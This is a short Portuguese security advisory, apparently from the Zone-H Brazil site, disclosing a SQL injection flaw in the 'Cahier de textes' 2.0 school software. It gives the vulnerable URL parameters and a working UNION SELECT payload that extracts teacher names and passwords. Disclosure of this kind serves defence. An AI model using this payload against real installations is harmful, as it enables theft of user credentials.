Zone-H
Home arrow Avisos de Segurança arrow Cahier de textes: Injeção de Codigos SQL
08 de October de 2008
 
 
Ataques desta semana
O.S.  Defs.  %
Linux  12345  74.61%
Win 2003  2839  17.16%
Win 2000  863  5.22%
FreeBSD  329  1.99%
Unknown  53  0.32%
Other  118  0.71%

Total de ataques: 16547 dos quais 4885 único(s) no ip e 11662 invasão(ões) em massa

Menu Principal
Home
Guerra Digital
Geopolítica
Notícias ITsec
Avisos de Segurança
Test Drive
360°
Sites atacados
Eventos do Zone-H
Fórum
Publicações
Zone-H Amigos/Parceiros
Contate-nos
Sobre este Site
Membros do Zone-H BR
Favoritos geral
Zone-H.org
Área de download
Cahier de textes: Injeção de Codigos SQL Imprimir E-mail
Avaliação do Usuário: / 0
PiorMelhor 
07 de October de 2006

Nome do Script: Cahier de textes
Site do script: -
Versão Afetada: 2.0

Encontrado por s4mi
Email: s4mi[at]linuxmail[dot]org

Exploração:

http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=[SQL]

Ou

http://localhost/PATH/lire_a_faire.php?classe_ID=[SQL]


Exemplo:

http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=-1+union%20select%201,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*

 
< Anterior   Próximo >
 
Top! Top!